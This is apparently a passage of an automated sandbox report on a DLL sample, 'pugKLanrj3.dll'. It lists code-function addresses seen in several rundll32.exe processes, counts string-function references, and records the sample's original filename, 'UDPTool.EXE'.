Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030957B8	3_2_030957B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B17BD	3_2_030B17BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309BFBE	3_2_0309BFBE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309E7DE	3_2_0309E7DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A67E6	3_2_030A67E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03098636	3_2_03098636
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309E640	3_2_0309E640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A2E5D	3_2_030A2E5D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03097E79	3_2_03097E79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A567B	3_2_030A567B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309DE74	3_2_0309DE74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A3EAA	3_2_030A3EAA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B36AA	3_2_030B36AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309C6B8	3_2_0309C6B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A0EBC	3_2_030A0EBC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B46BD	3_2_030B46BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B3EE9	3_2_030B3EE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030ABEFD	3_2_030ABEFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AAD08	3_2_030AAD08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A5515	3_2_030A5515
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A8D3D	3_2_030A8D3D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A654A	3_2_030A654A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A7D5B	3_2_030A7D5B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B2D53	3_2_030B2D53
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A3D85	3_2_030A3D85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309C5D8	3_2_0309C5D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AC5D5	3_2_030AC5D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030955FF	3_2_030955FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A9DF5	3_2_030A9DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D4A66	4_2_006D4A66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CDE74	4_2_006CDE74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DB257	4_2_006DB257
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C8636	4_2_006C8636
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D7A0F	4_2_006D7A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E2009	4_2_006E2009
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D654A	4_2_006D654A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D2142	4_2_006D2142
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DFF58	4_2_006DFF58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DE955	4_2_006DE955
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DAD08	4_2_006DAD08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C670B	4_2_006C670B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D85FF	4_2_006D85FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DEFDD	4_2_006DEFDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CC5D8	4_2_006CC5D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E17BD	4_2_006E17BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E0A64	4_2_006E0A64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E3263	4_2_006E3263
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C7078	4_2_006C7078
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C7E79	4_2_006C7E79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D567B	4_2_006D567B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DA474	4_2_006DA474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DDC71	4_2_006DDC71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CA871	4_2_006CA871
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CA445	4_2_006CA445
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D4244	4_2_006D4244
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CE640	4_2_006CE640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DF840	4_2_006DF840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C7442	4_2_006C7442
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D2E5D	4_2_006D2E5D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CB820	4_2_006CB820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C3431	4_2_006C3431
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D8806	4_2_006D8806
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D9A01	4_2_006D9A01
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E00EF	4_2_006E00EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CF0E9	4_2_006CF0E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E3EE9	4_2_006E3EE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DE4E5	4_2_006DE4E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DBEFD	4_2_006DBEFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C80C0	4_2_006C80C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DCCD9	4_2_006DCCD9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DD8DB	4_2_006DD8DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DCAD5	4_2_006DCAD5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E36AA	4_2_006E36AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CBAA9	4_2_006CBAA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D3EAA	4_2_006D3EAA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DA2A5	4_2_006DA2A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C1CA1	4_2_006C1CA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D0EBC	4_2_006D0EBC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E46BD	4_2_006E46BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CC6B8	4_2_006CC6B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D0ABA	4_2_006D0ABA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CF369	4_2_006CF369
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D5779	4_2_006D5779
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C6B7A	4_2_006C6B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D017B	4_2_006D017B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D437A	4_2_006D437A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D4F74	4_2_006D4F74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D9774	4_2_006D9774
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CD14C	4_2_006CD14C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D7D5B	4_2_006D7D5B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E2D53	4_2_006E2D53
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D8D3D	4_2_006D8D3D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C1F38	4_2_006C1F38
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D5333	4_2_006D5333
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CEF0C	4_2_006CEF0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E2B09	4_2_006E2B09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D5515	4_2_006D5515
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D67E6	4_2_006D67E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C4BFC	4_2_006C4BFC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C55FF	4_2_006C55FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D27F9	4_2_006D27F9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DE1F8	4_2_006DE1F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D9DF5	4_2_006D9DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D07F4	4_2_006D07F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CE7DE	4_2_006CE7DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DFBDE	4_2_006DFBDE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DC5D5	4_2_006DC5D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D8FAE	4_2_006D8FAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006E07AA	4_2_006E07AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C77A3	4_2_006C77A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006DD1BC	4_2_006DD1BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CBFBE	4_2_006CBFBE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C57B8	4_2_006C57B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C238C	4_2_006C238C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CFB8E	4_2_006CFB8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D3D85	4_2_006D3D85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D6187	4_2_006D6187
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006D0F86	4_2_006D0F86
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C2194	4_2_006C2194
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04992009	7_2_04992009
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04987A0F	7_2_04987A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04978636	7_2_04978636
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497A445	7_2_0497A445
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497DE74	7_2_0497DE74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04984A66	7_2_04984A66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498EFDD	7_2_0498EFDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497C5D8	7_2_0497C5D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498AD08	7_2_0498AD08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497670B	7_2_0497670B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498FF58	7_2_0498FF58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498654A	7_2_0498654A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04982142	7_2_04982142
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04980ABA	7_2_04980ABA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049946BD	7_2_049946BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04980EBC	7_2_04980EBC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497C6B8	7_2_0497C6B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04983EAA	7_2_04983EAA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049936AA	7_2_049936AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04971CA1	7_2_04971CA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498A2A5	7_2_0498A2A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497BAA9	7_2_0497BAA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498CCD9	7_2_0498CCD9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498D8DB	7_2_0498D8DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498CAD5	7_2_0498CAD5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049780C0	7_2_049780C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498BEFD	7_2_0498BEFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04993EE9	7_2_04993EE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049900EF	7_2_049900EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498E4E5	7_2_0498E4E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497F0E9	7_2_0497F0E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04989A01	7_2_04989A01
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04988806	7_2_04988806
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04973431	7_2_04973431
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497B820	7_2_0497B820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04982E5D	7_2_04982E5D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498B257	7_2_0498B257
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04977442	7_2_04977442
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497E640	7_2_0497E640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498F840	7_2_0498F840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04984244	7_2_04984244
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498567B	7_2_0498567B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497A871	7_2_0497A871
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498DC71	7_2_0498DC71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498A474	7_2_0498A474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04977E79	7_2_04977E79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04977078	7_2_04977078
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04993263	7_2_04993263
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04990A64	7_2_04990A64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04972194	7_2_04972194
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497FB8E	7_2_0497FB8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497238C	7_2_0497238C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04983D85	7_2_04983D85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04980F86	7_2_04980F86
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04986187	7_2_04986187
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498D1BC	7_2_0498D1BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049917BD	7_2_049917BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497BFBE	7_2_0497BFBE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049757B8	7_2_049757B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049907AA	7_2_049907AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049777A3	7_2_049777A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04988FAE	7_2_04988FAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498FBDE	7_2_0498FBDE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497E7DE	7_2_0497E7DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498C5D5	7_2_0498C5D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498E1F8	7_2_0498E1F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049827F9	7_2_049827F9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049885FF	7_2_049885FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049755FF	7_2_049755FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04974BFC	7_2_04974BFC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049807F4	7_2_049807F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04989DF5	7_2_04989DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_049867E6	7_2_049867E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04985515	7_2_04985515
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04992B09	7_2_04992B09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497EF0C	7_2_0497EF0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04988D3D	7_2_04988D3D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04985333	7_2_04985333
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04971F38	7_2_04971F38
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04987D5B	7_2_04987D5B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04992D53	7_2_04992D53
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498E955	7_2_0498E955
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497D14C	7_2_0497D14C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04985779	7_2_04985779
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498437A	7_2_0498437A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0498017B	7_2_0498017B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04984F74	7_2_04984F74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04989774	7_2_04989774
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04976B7A	7_2_04976B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497F369	7_2_0497F369
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E785FF	9_2_02E785FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7EFDD	9_2_02E7EFDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E83EE9	9_2_02E83EE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7E4E5	9_2_02E7E4E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E800EF	9_2_02E800EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6F0E9	9_2_02E6F0E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7BEFD	9_2_02E7BEFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E680C0	9_2_02E680C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7CAD5	9_2_02E7CAD5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7D8DB	9_2_02E7D8DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7CCD9	9_2_02E7CCD9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7A2A5	9_2_02E7A2A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E836AA	9_2_02E836AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E61CA1	9_2_02E61CA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E73EAA	9_2_02E73EAA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6BAA9	9_2_02E6BAA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E846BD	9_2_02E846BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E70EBC	9_2_02E70EBC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E70ABA	9_2_02E70ABA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6C6B8	9_2_02E6C6B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E74A66	9_2_02E74A66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E83263	9_2_02E83263
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E80A64	9_2_02E80A64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6DE74	9_2_02E6DE74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7A474	9_2_02E7A474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7DC71	9_2_02E7DC71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6A871	9_2_02E6A871
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7567B	9_2_02E7567B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E67078	9_2_02E67078
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E67E79	9_2_02E67E79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6A445	9_2_02E6A445
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E74244	9_2_02E74244
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E67442	9_2_02E67442
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6E640	9_2_02E6E640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7F840	9_2_02E7F840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7B257	9_2_02E7B257
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E72E5D	9_2_02E72E5D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6B820	9_2_02E6B820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E68636	9_2_02E68636
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E63431	9_2_02E63431
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E82009	9_2_02E82009
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E78806	9_2_02E78806
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E79A01	9_2_02E79A01
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E77A0F	9_2_02E77A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E767E6	9_2_02E767E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E79DF5	9_2_02E79DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E655FF	9_2_02E655FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E64BFC	9_2_02E64BFC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7E1F8	9_2_02E7E1F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7C5D5	9_2_02E7C5D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6E7DE	9_2_02E6E7DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6C5D8	9_2_02E6C5D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E807AA	9_2_02E807AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E677A3	9_2_02E677A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E78FAE	9_2_02E78FAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E817BD	9_2_02E817BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6BFBE	9_2_02E6BFBE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7D1BC	9_2_02E7D1BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E657B8	9_2_02E657B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E76187	9_2_02E76187
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E70F86	9_2_02E70F86
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E73D85	9_2_02E73D85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6FB8E	9_2_02E6FB8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6238C	9_2_02E6238C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E62194	9_2_02E62194
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6F369	9_2_02E6F369
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E74F74	9_2_02E74F74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E79774	9_2_02E79774
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E66B7A	9_2_02E66B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7017B	9_2_02E7017B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E75779	9_2_02E75779
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E72142	9_2_02E72142
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6D14C	9_2_02E6D14C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7654A	9_2_02E7654A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7E955	9_2_02E7E955
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E82D53	9_2_02E82D53
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E77D5B	9_2_02E77D5B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7FF58	9_2_02E7FF58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E75333	9_2_02E75333
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E78D3D	9_2_02E78D3D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E61F38	9_2_02E61F38
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E82B09	9_2_02E82B09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6EF0C	9_2_02E6EF0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6670B	9_2_02E6670B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E7AD08	9_2_02E7AD08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E75515	9_2_02E75515

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 10017BC1 appears 67 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 1001984C appears 48 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10017BC1 appears 68 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 1001984C appears 48 times

Source: pugKLanrj3.dll

Binary or memory string: OriginalFilenameUDPTool.EXE: vs pugKLanrj3.dll

Source: pugKLanrj3.dll

